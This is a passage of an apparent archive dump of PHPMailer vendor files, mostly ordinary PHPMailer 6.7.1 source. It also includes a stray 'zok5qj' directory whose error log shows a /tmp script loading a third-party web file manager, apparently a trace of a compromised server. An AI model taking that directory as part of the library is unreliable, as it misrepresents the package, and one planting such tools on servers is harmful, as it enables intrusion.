'; } } /** * Get an array of error messages, if any. * * @return array */ public function getErrors() { return $this->errors; } /** * POP3 connection error handler. * * @param int $errno * @param string $errstr * @param string $errfile * @param int $errline */ protected function catchWarning($errno, $errstr, $errfile, $errline) { $this->setError( 'Connecting to the POP3 server raised a PHP warning:' . "errno: $errno errstr: $errstr; errfile: $errfile; errline: $errline" ); } } PHPMailer/vendor/phpmailer/phpmailer/src/zok5qj/error_log000064400000000371151026170410017511 0ustar00[27-Oct-2025 03:47:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#35rl8.php on line 112 PHPMailer/vendor/phpmailer/phpmailer/src/zok5qj/index.php000064400000000151151026170410017410 0ustar00PHPMailer/vendor/phpmailer/phpmailer/src/PHPMailer.php000064400000536333151026170410016657 0ustar00 * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * PHPMailer - PHP email creation and transport class. * * @author Marcus Bointon (Synchro/coolbru) * @author Jim Jagielski (jimjag) * @author Andy Prevost (codeworxtech) * @author Brent R. Matzelle (original founder) */ class PHPMailer { const CHARSET_ASCII = 'us-ascii'; const CHARSET_ISO88591 = 'iso-8859-1'; const CHARSET_UTF8 = 'utf-8'; const CONTENT_TYPE_PLAINTEXT = 'text/plain'; const CONTENT_TYPE_TEXT_CALENDAR = 'text/calendar'; const CONTENT_TYPE_TEXT_HTML = 'text/html'; const CONTENT_TYPE_MULTIPART_ALTERNATIVE = 'multipart/alternative'; const CONTENT_TYPE_MULTIPART_MIXED = 'multipart/mixed'; const CONTENT_TYPE_MULTIPART_RELATED = 'multipart/related'; const ENCODING_7BIT = '7bit'; const ENCODING_8BIT = '8bit'; const ENCODING_BASE64 = 'base64'; const ENCODING_BINARY = 'binary'; const ENCODING_QUOTED_PRINTABLE = 'quoted-printable'; const ENCRYPTION_STARTTLS = 'tls'; const ENCRYPTION_SMTPS = 'ssl'; const ICAL_METHOD_REQUEST = 'REQUEST'; const ICAL_METHOD_PUBLISH = 'PUBLISH'; const ICAL_METHOD_REPLY = 'REPLY'; const ICAL_METHOD_ADD = 'ADD'; const ICAL_METHOD_CANCEL = 'CANCEL'; const ICAL_METHOD_REFRESH = 'REFRESH'; const ICAL_METHOD_COUNTER = 'COUNTER'; const ICAL_METHOD_DECLINECOUNTER = 'DECLINECOUNTER'; /** * Email priority. * Options: null (default), 1 = High, 3 = Normal, 5 = low. * When null, the header is not set at all. * * @var int|null */ public $Priority; /** * The character set of the message. * * @var string */ public $CharSet = self::CHARSET_ISO88591; /** * The MIME Content-type of the message. * * @var string */ public $ContentType = self::CONTENT_TYPE_PLAINTEXT; /** * The message encoding. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". * * @var string */ public $Encoding = self::ENCODING_8BIT; /** * Holds the most recent mailer error message. * * @var string */ public $ErrorInfo = ''; /** * The From email address for the message. * * @var string */ public $From = ''; /** * The From name of the message. * * @var string */ public $FromName = ''; /** * The envelope sender of the message. * This will usually be turned into a Return-Path header by the receiver, * and is the address that bounces will be sent to. * If not empty, will be passed via `-f` to sendmail or as the 'MAIL FROM' value over SMTP. * * @var string */ public $Sender = ''; /** * The Subject of the message. * * @var string */ public $Subject = ''; /** * An HTML or plain text message body. * If HTML then call isHTML(true). * * @var string */ public $Body = ''; /** * The plain-text message body. * This body can be read by mail clients that do not have HTML email * capability such as mutt & Eudora. * Clients that can read HTML will view the normal Body. * * @var string */ public $AltBody = ''; /** * An iCal message part body. * Only supported in simple alt or alt_inline message types * To generate iCal event structures, use classes like EasyPeasyICS or iCalcreator. * * @see http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/ * @see http://kigkonsult.se/iCalcreator/ * * @var string */ public $Ical = ''; /** * Value-array of "method" in Contenttype header "text/calendar" * * @var string[] */ protected static $IcalMethods = [ self::ICAL_METHOD_REQUEST, self::ICAL_METHOD_PUBLISH, self::ICAL_METHOD_REPLY, self::ICAL_METHOD_ADD, self::ICAL_METHOD_CANCEL, self::ICAL_METHOD_REFRESH, self::ICAL_METHOD_COUNTER, self::ICAL_METHOD_DECLINECOUNTER, ]; /** * The complete compiled MIME message body. * * @var string */ protected $MIMEBody = ''; /** * The complete compiled MIME message headers. * * @var string */ protected $MIMEHeader = ''; /** * Extra headers that createHeader() doesn't fold in. * * @var string */ protected $mailHeader = ''; /** * Word-wrap the message body to this number of chars. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. * * @see static::STD_LINE_LENGTH * * @var int */ public $WordWrap = 0; /** * Which method to use to send mail. * Options: "mail", "sendmail", or "smtp". * * @var string */ public $Mailer = 'mail'; /** * The path to the sendmail program. * * @var string */ public $Sendmail = '/usr/sbin/sendmail'; /** * Whether mail() uses a fully sendmail-compatible MTA. * One which supports sendmail's "-oi -f" options. * * @var bool */ public $UseSendmailOptions = true; /** * The email address that a reading confirmation should be sent to, also known as read receipt. * * @var string */ public $ConfirmReadingTo = ''; /** * The hostname to use in the Message-ID header and as default HELO string. * If empty, PHPMailer attempts to find one with, in order, * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value * 'localhost.localdomain'. * * @see PHPMailer::$Helo * * @var string */ public $Hostname = ''; /** * An ID to be used in the Message-ID header. * If empty, a unique id will be generated. * You can set your own, but it must be in the format "", * as defined in RFC5322 section 3.6.4 or it will be ignored. * * @see https://tools.ietf.org/html/rfc5322#section-3.6.4 * * @var string */ public $MessageID = ''; /** * The message Date to be used in the Date header. * If empty, the current date will be added. * * @var string */ public $MessageDate = ''; /** * SMTP hosts. * Either a single hostname or multiple semicolon-delimited hostnames. * You can also specify a different port * for each host by using this format: [hostname:port] * (e.g. "smtp1.example.com:25;smtp2.example.com"). * You can also specify encryption type, for example: * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). * Hosts will be tried in order. * * @var string */ public $Host = 'localhost'; /** * The default SMTP server port. * * @var int */ public $Port = 25; /** * The SMTP HELO/EHLO name used for the SMTP connection. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find * one with the same method described above for $Hostname. * * @see PHPMailer::$Hostname * * @var string */ public $Helo = ''; /** * What kind of encryption to use on the SMTP connection. * Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS. * * @var string */ public $SMTPSecure = ''; /** * Whether to enable TLS encryption automatically if a server supports it, * even if `SMTPSecure` is not set to 'tls'. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. * * @var bool */ public $SMTPAutoTLS = true; /** * Whether to use SMTP authentication. * Uses the Username and Password properties. * * @see PHPMailer::$Username * @see PHPMailer::$Password * * @var bool */ public $SMTPAuth = false; /** * Options array passed to stream_context_create when connecting via SMTP. * * @var array */ public $SMTPOptions = []; /** * SMTP username. * * @var string */ public $Username = ''; /** * SMTP password. * * @var string */ public $Password = ''; /** * SMTP authentication type. Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2. * If not specified, the first one from that list that the server supports will be selected. * * @var string */ public $AuthType = ''; /** * An implementation of the PHPMailer OAuthTokenProvider interface. * * @var OAuthTokenProvider */ protected $oauth; /** * The SMTP server timeout in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2. * * @var int */ public $Timeout = 300; /** * Comma separated list of DSN notifications * 'NEVER' under no circumstances a DSN must be returned to the sender. * If you use NEVER all other notifications will be ignored. * 'SUCCESS' will notify you when your mail has arrived at its destination. * 'FAILURE' will arrive if an error occurred during delivery. * 'DELAY' will notify you if there is an unusual delay in delivery, but the actual * delivery's outcome (success or failure) is not yet decided. * * @see https://tools.ietf.org/html/rfc3461 See section 4.1 for more information about NOTIFY */ public $dsn = ''; /** * SMTP class debug output mode. * Debug output level. * Options: * @see SMTP::DEBUG_OFF: No output * @see SMTP::DEBUG_CLIENT: Client messages * @see SMTP::DEBUG_SERVER: Client and server messages * @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status * @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed * * @see SMTP::$do_debug * * @var int */ public $SMTPDebug = 0; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `
`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise. * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * * ```php * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * ``` * * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug` * level output is used: * * ```php * $mail->Debugoutput = new myPsr3Logger; * ``` * * @see SMTP::$Debugoutput * * @var string|callable|\Psr\Log\LoggerInterface */ public $Debugoutput = 'echo'; /** * Whether to keep the SMTP connection open after each message. * If this is set to true then the connection will remain open after a send, * and closing the connection will require an explicit call to smtpClose(). * It's a good idea to use this if you are sending multiple messages as it reduces overhead. * See the mailing list example for how to use it. * * @var bool */ public $SMTPKeepAlive = false; /** * Whether to split multiple to addresses into multiple messages * or send them all in one message. * Only supported in `mail` and `sendmail` transports, not in SMTP. * * @var bool * * @deprecated 6.0.0 PHPMailer isn't a mailing list manager! */ public $SingleTo = false; /** * Storage for addresses when SingleTo is enabled. * * @var array */ protected $SingleToArray = []; /** * Whether to generate VERP addresses on send. * Only applicable when sending via SMTP. * * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path * @see http://www.postfix.org/VERP_README.html Postfix VERP info * * @var bool */ public $do_verp = false; /** * Whether to allow sending messages with an empty body. * * @var bool */ public $AllowEmpty = false; /** * DKIM selector. * * @var string */ public $DKIM_selector = ''; /** * DKIM Identity. * Usually the email address used as the source of the email. * * @var string */ public $DKIM_identity = ''; /** * DKIM passphrase. * Used if your key is encrypted. * * @var string */ public $DKIM_passphrase = ''; /** * DKIM signing domain name. * * @example 'example.com' * * @var string */ public $DKIM_domain = ''; /** * DKIM Copy header field values for diagnostic use. * * @var bool */ public $DKIM_copyHeaderFields = true; /** * DKIM Extra signing headers. * * @example ['List-Unsubscribe', 'List-Help'] * * @var array */ public $DKIM_extraHeaders = []; /** * DKIM private key file path. * * @var string */ public $DKIM_private = ''; /** * DKIM private key string. * * If set, takes precedence over `$DKIM_private`. * * @var string */ public $DKIM_private_string = ''; /** * Callback Action function name. * * The function that handles the result of the send email action. * It is called out by send() for each email sent. * * Value can be any php callable: http://www.php.net/is_callable * * Parameters: * bool $result result of the send action * array $to email addresses of the recipients * array $cc cc email addresses * array $bcc bcc email addresses * string $subject the subject * string $body the email body * string $from email address of sender * string $extra extra information of possible use * "smtp_transaction_id' => last smtp transaction id * * @var string */ public $action_function = ''; /** * What to put in the X-Mailer header. * Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use. * * @var string|null */ public $XMailer = ''; /** * Which validator to use by default when validating email addresses. * May be a callable to inject your own validator, but there are several built-in validators. * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option. * * @see PHPMailer::validateAddress() * * @var string|callable */ public static $validator = 'php'; /** * An instance of the SMTP sender class. * * @var SMTP */ protected $smtp; /** * The array of 'to' names and addresses. * * @var array */ protected $to = []; /** * The array of 'cc' names and addresses. * * @var array */ protected $cc = []; /** * The array of 'bcc' names and addresses. * * @var array */ protected $bcc = []; /** * The array of reply-to names and addresses. * * @var array */ protected $ReplyTo = []; /** * An array of all kinds of addresses. * Includes all of $to, $cc, $bcc. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * * @var array */ protected $all_recipients = []; /** * An array of names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $all_recipients * and one of $to, $cc, or $bcc. * This array is used only for addresses with IDN. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * @see PHPMailer::$all_recipients * * @var array */ protected $RecipientsQueue = []; /** * An array of reply-to names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $ReplyTo. * This array is used only for addresses with IDN. * * @see PHPMailer::$ReplyTo * * @var array */ protected $ReplyToQueue = []; /** * The array of attachments. * * @var array */ protected $attachment = []; /** * The array of custom headers. * * @var array */ protected $CustomHeader = []; /** * The most recent Message-ID (including angular brackets). * * @var string */ protected $lastMessageID = ''; /** * The message's MIME type. * * @var string */ protected $message_type = ''; /** * The array of MIME boundary strings. * * @var array */ protected $boundary = []; /** * The array of available text strings for the current language. * * @var array */ protected $language = []; /** * The number of errors encountered. * * @var int */ protected $error_count = 0; /** * The S/MIME certificate file path. * * @var string */ protected $sign_cert_file = ''; /** * The S/MIME key file path. * * @var string */ protected $sign_key_file = ''; /** * The optional S/MIME extra certificates ("CA Chain") file path. * * @var string */ protected $sign_extracerts_file = ''; /** * The S/MIME password for the key. * Used only if the key is encrypted. * * @var string */ protected $sign_key_pass = ''; /** * Whether to throw exceptions for errors. * * @var bool */ protected $exceptions = false; /** * Unique ID used for message ID and boundaries. * * @var string */ protected $uniqueid = ''; /** * The PHPMailer Version number. * * @var string */ const VERSION = '6.7.1'; /** * Error severity: message only, continue processing. * * @var int */ const STOP_MESSAGE = 0; /** * Error severity: message, likely ok to continue processing. * * @var int */ const STOP_CONTINUE = 1; /** * Error severity: message, plus full stop, critical error reached. * * @var int */ const STOP_CRITICAL = 2; /** * The SMTP standard CRLF line break. * If you want to change line break format, change static::$LE, not this. */ const CRLF = "\r\n"; /** * "Folding White Space" a white space string used for line folding. */ const FWS = ' '; /** * SMTP RFC standard line ending; Carriage Return, Line Feed. * * @var string */ protected static $LE = self::CRLF; /** * The maximum line length supported by mail(). * * Background: mail() will sometimes corrupt messages * with headers headers longer than 65 chars, see #818. * * @var int */ const MAIL_MAX_LINE_LENGTH = 63; /** * The maximum line length allowed by RFC 2822 section 2.1.1. * * @var int */ const MAX_LINE_LENGTH = 998; /** * The lower maximum line length allowed by RFC 2822 section 2.1.1. * This length does NOT include the line break * 76 means that lines will be 77 or 78 chars depending on whether * the line break format is LF or CRLF; both are valid. * * @var int */ const STD_LINE_LENGTH = 76; /** * Constructor. * * @param bool $exceptions Should we throw external exceptions? */ public function __construct($exceptions = null) { if (null !== $exceptions) { $this->exceptions = (bool) $exceptions; } //Pick an appropriate debug output format automatically $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); } /** * Destructor. */ public function __destruct() { //Close any open SMTP connection nicely $this->smtpClose(); } /** * Call mail() in a safe_mode-aware fashion. * Also, unless sendmail_path points to sendmail (or something that * claims to be sendmail), don't pass params (not a perfect fix, * but it will do). * * @param string $to To * @param string $subject Subject * @param string $body Message Body * @param string $header Additional Header(s) * @param string|null $params Params * * @return bool */ private function mailPassthru($to, $subject, $body, $header, $params) { //Check overloading of mail function to avoid double-encoding if ((int)ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } //Calling mail() with null params breaks $this->edebug('Sending with mail()'); $this->edebug('Sendmail path: ' . ini_get('sendmail_path')); $this->edebug("Envelope sender: {$this->Sender}"); $this->edebug("To: {$to}"); $this->edebug("Subject: {$subject}"); $this->edebug("Headers: {$header}"); if (!$this->UseSendmailOptions || null === $params) { $result = @mail($to, $subject, $body, $header); } else { $this->edebug("Additional params: {$params}"); $result = @mail($to, $subject, $body, $header, $params); } $this->edebug('Result: ' . ($result ? 'true' : 'false')); return $result; } /** * Output debugging info via a user-defined method. * Only generates output if debug output is enabled. * * @see PHPMailer::$Debugoutput * @see PHPMailer::$SMTPDebug * * @param string $str */ protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug($str); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log /** @noinspection ForgottenDebugOutputInspection */ error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "
\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Sets message type to HTML or plain. * * @param bool $isHtml True for HTML mode */ public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; } else { $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; } } /** * Send messages using SMTP. */ public function isSMTP() { $this->Mailer = 'smtp'; } /** * Send messages using PHP's mail() function. */ public function isMail() { $this->Mailer = 'mail'; } /** * Send messages using $Sendmail. */ public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'sendmail'; } /** * Send messages using qmail. */ public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'qmail'; } /** * Add a "To" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress('to', $address, $name); } /** * Add a "CC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress('cc', $address, $name); } /** * Add a "BCC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress('bcc', $address, $name); } /** * Add a "Reply-To" address. * * @param string $address The email address to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); } /** * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still * be modified after calling this function), addition of such addresses is delayed until send(). * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address * @param string $name An optional username associated with the address * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addOrEnqueueAnAddress($kind, $address, $name) { $pos = false; if ($address !== null) { $address = trim($address); $pos = strrpos($address, '@'); } if (false === $pos) { //At-sign is missing. $error_message = sprintf( '%s (%s): %s', $this->lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ($name !== null && is_string($name)) { $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim } else { $name = ''; } $params = [$kind, $address, $name]; //Enqueue addresses with IDN until we know the PHPMailer::$CharSet. //Domain is assumed to be whatever is after the last @ symbol in the address if (static::idnSupported() && $this->has8bitChars(substr($address, ++$pos))) { if ('Reply-To' !== $kind) { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } elseif (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } return false; } //Immediately add standard addresses without IDN. return call_user_func_array([$this, 'addAnAddress'], $params); } /** * Set the boundaries to use for delimiting MIME parts. * If you override this, ensure you set all 3 boundaries to unique values. * The default boundaries include a "=_" sequence which cannot occur in quoted-printable bodies, * as suggested by https://www.rfc-editor.org/rfc/rfc2045#section-6.7 * * @return void */ public function setBoundaries() { $this->uniqueid = $this->generateId(); $this->boundary[1] = 'b1=_' . $this->uniqueid; $this->boundary[2] = 'b2=_' . $this->uniqueid; $this->boundary[3] = 'b3=_' . $this->uniqueid; } /** * Add an address to one of the recipient arrays or to the ReplyTo array. * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address to send, resp. to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) { $error_message = sprintf( '%s: %s', $this->lang('Invalid recipient kind'), $kind ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if (!static::validateAddress($address)) { $error_message = sprintf( '%s (%s): %s', $this->lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ('Reply-To' !== $kind) { if (!array_key_exists(strtolower($address), $this->all_recipients)) { $this->{$kind}[] = [$address, $name]; $this->all_recipients[strtolower($address)] = true; return true; } } elseif (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = [$address, $name]; return true; } return false; } /** * Parse and validate a string containing one or more RFC822-style comma-separated email addresses * of the form "display name
" into an array of name/address pairs. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. * Note that quotes in the name part are removed. * * @see http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation * * @param string $addrstr The address list string * @param bool $useimap Whether to use the IMAP extension to parse the list * @param string $charset The charset to use when decoding the address list string. * * @return array */ public static function parseAddresses($addrstr, $useimap = true, $charset = self::CHARSET_ISO88591) { $addresses = []; if ($useimap && function_exists('imap_rfc822_parse_adrlist')) { //Use this built-in parser if it's available $list = imap_rfc822_parse_adrlist($addrstr, ''); // Clear any potential IMAP errors to get rid of notices being thrown at end of script. imap_errors(); foreach ($list as $address) { if ( '.SYNTAX-ERROR.' !== $address->host && static::validateAddress($address->mailbox . '@' . $address->host) ) { //Decode the name part if it's present and encoded if ( property_exists($address, 'personal') && //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $address->personal) ) { $origCharset = mb_internal_encoding(); mb_internal_encoding($charset); //Undo any RFC2047-encoded spaces-as-underscores $address->personal = str_replace('_', '=20', $address->personal); //Decode the name $address->personal = mb_decode_mimeheader($address->personal); mb_internal_encoding($origCharset); } $addresses[] = [ 'name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host, ]; } } } else { //Use this simpler parser $list = explode(',', $addrstr); foreach ($list as $address) { $address = trim($address); //Is there a separate name part? if (strpos($address, '<') === false) { //No separate name, just use the whole thing if (static::validateAddress($address)) { $addresses[] = [ 'name' => '', 'address' => $address, ]; } } else { list($name, $email) = explode('<', $address); $email = trim(str_replace('>', '', $email)); $name = trim($name); if (static::validateAddress($email)) { //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled //If this name is encoded, decode it if (defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $name)) { $origCharset = mb_internal_encoding(); mb_internal_encoding($charset); //Undo any RFC2047-encoded spaces-as-underscores $name = str_replace('_', '=20', $name); //Decode the name $name = mb_decode_mimeheader($name); mb_internal_encoding($origCharset); } $addresses[] = [ //Remove any surrounding quotes and spaces from the name 'name' => trim($name, '\'" '), 'address' => $email, ]; } } } } return $addresses; } /** * Set the From and FromName properties. * * @param string $address * @param string $name * @param bool $auto Whether to also set the Sender address, defaults to true * * @throws Exception * * @return bool */ public function setFrom($address, $name = '', $auto = true) { $address = trim((string)$address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim //Don't validate now addresses with IDN. Will be done in send(). $pos = strrpos($address, '@'); if ( (false === $pos) || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported()) && !static::validateAddress($address)) ) { $error_message = sprintf( '%s (From): %s', $this->lang('invalid_address'), $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto && empty($this->Sender)) { $this->Sender = $address; } return true; } /** * Return the Message-ID header of the last email. * Technically this is the value from the last time the headers were created, * but it's also the message ID of the last sent message except in * pathological cases. * * @return string */ public function getLastMessageID() { return $this->lastMessageID; } /** * Check that a string looks like an email address. * Validation patterns supported: * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. * * `noregex` Don't use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * * ```php * PHPMailer::validateAddress('user@example.com', function($address) { * return (strpos($address, '@') !== false); * }); * ``` * * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * * @param string $address The email address to check * @param string|callable $patternselect Which pattern to use * * @return bool */ public static function validateAddress($address, $patternselect = null) { if (null === $patternselect) { $patternselect = static::$validator; } //Don't allow strings as callables, see SECURITY.md and CVE-2021-3603 if (is_callable($patternselect) && !is_string($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) { return false; } switch ($patternselect) { case 'pcre': //Kept for BC case 'pcre8': /* * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL * is based. * In addition to the addresses allowed by filter_var, also permits: * * dotless domains: `a@b` * * comments: `1234 @ local(blah) .machine .example` * * quoted elements: `'"test blah"@example.org'` * * numeric TLDs: `a@b.123` * * unbracketed IPv4 literals: `a@192.168.0.1` * * IPv6 literals: 'first.last@[IPv6:a1::]' * Not all of these will necessarily work for sending! * * @see http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (bool) preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'html5': /* * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * * @see https://html.spec.whatwg.org/#e-mail-state-(type=email) */ return (bool) preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'php': default: return filter_var($address, FILTER_VALIDATE_EMAIL) !== false; } } /** * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the * `intl` and `mbstring` PHP extensions. * * @return bool `true` if required functions for IDN support are present */ public static function idnSupported() { return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding'); } /** * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. * This function silently returns unmodified address if: * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) * - Conversion to punycode is impossible (e.g. required PHP functions are not available) * or fails for any reason (e.g. domain contains characters not allowed in an IDN). * * @see PHPMailer::$CharSet * * @param string $address The email address to convert * * @return string The encoded address in ASCII form */ public function punyencodeAddress($address) { //Verify we have required functions, CharSet, and at-sign. $pos = strrpos($address, '@'); if ( !empty($this->CharSet) && false !== $pos && static::idnSupported() ) { $domain = substr($address, ++$pos); //Verify CharSet string is a valid one, and domain properly encoded in this CharSet. if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) { //Convert the domain from whatever charset it's in to UTF-8 $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet); //Ignore IDE complaints about this line - method signature changed in PHP 